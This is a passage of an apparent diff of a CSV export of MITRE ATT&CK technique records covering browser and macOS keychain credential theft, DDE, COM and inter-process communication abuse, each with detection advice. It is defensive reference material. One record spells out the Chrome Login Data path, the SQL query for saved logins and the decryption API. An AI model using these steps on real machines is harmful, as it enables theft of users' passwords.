'https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign'}, {'source_name': 'FireEye HawkEye Malware July 2017', 'description': 'Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html'}, {'source_name': 'GitHub Mimikittenz July 2016', 'description': ""Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019."", 'url': 'https://github.com/putterpanda/mimikittenz'}]",1.1,attack-pattern,attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-12T18:57:36.041Z,2021-04-14T14:03:47.293Z,Credentials from Web Browsers,"Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018) @@ -1383,48 +1567,54 @@ Adversaries have executed similar procedures for common web browsers such as Fir Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016) -After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8,attack-pattern,['credential-access'],2021-04-14T14:03:47.293Z,2020-02-12T18:57:36.041Z,"Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: AppData\Local\Google\Chrome\User Data\Default\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).","['File: File Access', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Access']","['Ryan Benson, Exabeam', 'Barry Shteiman, Exabeam', 'Sylvain Gil, Exabeam', 'RedHuntLabs, @redhuntlabs']",,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1555.002', 'url': 'https://attack.mitre.org/techniques/T1555/002'}, {'url': 'http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain', 'description': 'Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.', 'source_name': 'OS X Keychain'}, {'url': 'https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/', 'description': 'Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', 'source_name': 'OSX Keydnap malware'}, {'url': 'http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way', 'description': 'Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.', 'source_name': 'External to DA, the OS X Way'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1555/002,mitre-attack,T1555.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Securityd Memory,"An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware) +After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",['credential-access'],https://attack.mitre.org/techniques/T1555/003,mitre-attack,T1555.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ryan Benson, Exabeam', 'Barry Shteiman, Exabeam', 'Sylvain Gil, Exabeam', 'RedHuntLabs, @redhuntlabs']","['File: File Access', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Access']",,"Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: AppData\Local\Google\Chrome\User Data\Default\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1555/002', 'external_id': 'T1555.002'}, {'source_name': 'OS X Keychain', 'description': 'Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.', 'url': 'http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain'}, {'source_name': 'OSX Keydnap malware', 'description': 'Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', 'url': 'https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/'}, {'source_name': 'External to DA, the OS X Way', 'description': 'Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.', 'url': 'http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way'}]",1.0,attack-pattern,attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-12T18:56:31.051Z,2020-02-17T13:16:53.850Z,Securityd Memory,"An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware) -In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)",attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72,attack-pattern,['credential-access'],2020-02-17T13:16:53.850Z,2020-02-12T18:56:31.051Z,Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.,"['Command: Command Execution', 'Process: Process Access']",,,['root'],"['Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1555.001', 'url': 'https://attack.mitre.org/techniques/T1555/001'}, {'url': 'https://en.wikipedia.org/wiki/Keychain_(software)', 'description': 'Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.', 'source_name': 'Wikipedia keychain'}, {'url': 'http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way', 'description': 'Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.', 'source_name': 'External to DA, the OS X Way'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1555/001,mitre-attack,T1555.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Keychain,"Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials. +In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)",['credential-access'],https://attack.mitre.org/techniques/T1555/002,mitre-attack,T1555.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Access']",,Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.,True,['root'],"['Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1555/001', 'external_id': 'T1555.001'}, {'source_name': 'Wikipedia keychain', 'description': 'Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.', 'url': 'https://en.wikipedia.org/wiki/Keychain_(software)'}, {'source_name': 'External to DA, the OS X Way', 'description': 'Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.', 'url': 'http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way'}]",1.0,attack-pattern,attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-12T18:55:24.728Z,2020-02-17T13:14:31.140Z,Keychain,"Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials. -To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.",attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3,attack-pattern,['credential-access'],2020-02-17T13:14:31.140Z,2020-02-12T18:55:24.728Z,"Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.","['Command: Command Execution', 'Process: OS API Execution', 'File: File Access']",,,['Administrator'],['macOS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1559.002', 'url': 'https://attack.mitre.org/techniques/T1559/002'}, {'url': 'https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/', 'description': 'Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.', 'source_name': 'BleepingComputer DDE Disabled in Word Dec 2017'}, {'url': 'https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021', 'description': 'Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.', 'source_name': 'Microsoft ADV170021 Dec 2017'}, {'url': 'https://technet.microsoft.com/library/security/4053440', 'description': 'Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.', 'source_name': 'Microsoft DDE Advisory Nov 2017'}, {'url': 'https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/', 'description': 'El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.', 'source_name': 'SensePost PS DDE May 2016'}, {'url': 'https://www.contextis.com/blog/comma-separated-vulnerabilities', 'description': 'Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.', 'source_name': 'Kettle CSV DDE Aug 2014'}, {'url': 'https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee', 'description': 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.', 'source_name': 'Enigma Reviving DDE Jan 2018'}, {'url': 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/', 'description': 'Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.', 'source_name': 'SensePost MacroLess DDE Oct 2017'}, {'url': 'https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/', 'description': 'NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.', 'source_name': 'NVisio Labs DDE Detection Oct 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,True,https://attack.mitre.org/techniques/T1559/002,mitre-attack,T1559.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Dynamic Data Exchange,"Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. +To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.",['credential-access'],https://attack.mitre.org/techniques/T1555/001,mitre-attack,T1555.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: OS API Execution', 'File: File Access']",,"Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.",True,['Administrator'],['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1559/002', 'external_id': 'T1559.002'}, {'source_name': 'BleepingComputer DDE Disabled in Word Dec 2017', 'description': 'Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.', 'url': 'https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/'}, {'source_name': 'Microsoft ADV170021 Dec 2017', 'description': 'Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.', 'url': 'https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021'}, {'source_name': 'Microsoft DDE Advisory Nov 2017', 'description': 'Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.', 'url': 'https://technet.microsoft.com/library/security/4053440'}, {'source_name': 'SensePost PS DDE May 2016', 'description': 'El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.', 'url': 'https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/'}, {'source_name': 'Kettle CSV DDE Aug 2014', 'description': 'Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.', 'url': 'https://www.contextis.com/blog/comma-separated-vulnerabilities'}, {'source_name': 'Enigma Reviving DDE Jan 2018', 'description': 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.', 'url': 'https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee'}, {'source_name': 'SensePost MacroLess DDE Oct 2017', 'description': 'Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.', 'url': 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/'}, {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'}, {'source_name': 'NVisio Labs DDE Detection Oct 2017', 'description': 'NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.', 'url': 'https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/'}]",1.1,attack-pattern,attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-12T14:10:50.699Z,2021-07-26T22:52:04.196Z,Dynamic Data Exchange,"Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017) -Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).",attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d,attack-pattern,['execution'],2020-03-28T19:32:56.572Z,2020-02-12T14:10:50.699Z,"Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe). +Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)",['execution'],https://attack.mitre.org/techniques/T1559/002,mitre-attack,T1559.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,"Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe). -OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)","['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1559.001', 'url': 'https://attack.mitre.org/techniques/T1559/001'}, {'source_name': 'Fireeye Hunting COM June 2019', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx', 'description': 'Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', 'source_name': 'Microsoft COM'}, {'url': 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html', 'description': 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.', 'source_name': 'ProjectZero File Write EoP Apr 2018'}, {'url': 'https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/', 'description': ""Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017."", 'source_name': 'Enigma Outlook DCOM Lateral Movement Nov 2017'}, {'url': 'https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/', 'description': 'Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.', 'source_name': 'Enigma MMC20 COM Jan 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,True,https://attack.mitre.org/techniques/T1559/001,mitre-attack,T1559.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Component Object Model,"Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) +OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)",True,['User'],['Windows'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1559/001', 'external_id': 'T1559.001'}, {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'}, {'source_name': 'Microsoft COM', 'description': 'Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx'}, {'source_name': 'ProjectZero File Write EoP Apr 2018', 'description': 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.', 'url': 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'}, {'source_name': 'Enigma Outlook DCOM Lateral Movement Nov 2017', 'description': ""Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017."", 'url': 'https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/'}, {'source_name': 'Enigma MMC20 COM Jan 2017', 'description': 'Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.', 'url': 'https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/'}]",1.1,attack-pattern,attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-12T14:09:53.107Z,2021-07-26T22:51:20.448Z,Component Object Model,"Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) -Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)",attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64,attack-pattern,['execution'],2020-03-28T19:30:52.639Z,2020-02-12T14:09:53.107Z,"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) +Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)",['execution'],https://attack.mitre.org/techniques/T1559/001,mitre-attack,T1559.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) -Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ","['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,,,['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1559', 'url': 'https://attack.mitre.org/techniques/T1559'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,False,https://attack.mitre.org/techniques/T1559,mitre-attack,T1559,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Inter-Process Communication,"Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. +Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ",True,,['Windows'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1559', 'external_id': 'T1559'}, {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'}]",1.1,attack-pattern,attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-12T14:08:48.689Z,2021-10-15T19:48:30.432Z,Inter-Process Communication,"Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. -Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.",attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d,attack-pattern,['execution'],2020-03-28T19:34:47.546Z,2020-02-12T14:08:48.689Z,"Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.","['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,,"['Administrator', 'User', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1558.002', 'url': 'https://attack.mitre.org/techniques/T1558/002'}, {'source_name': 'ADSecurity Silver Tickets', 'url': 'https://adsecurity.org/?p=2011', 'description': 'Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020.'}, {'url': 'https://adsecurity.org/?p=1515', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged 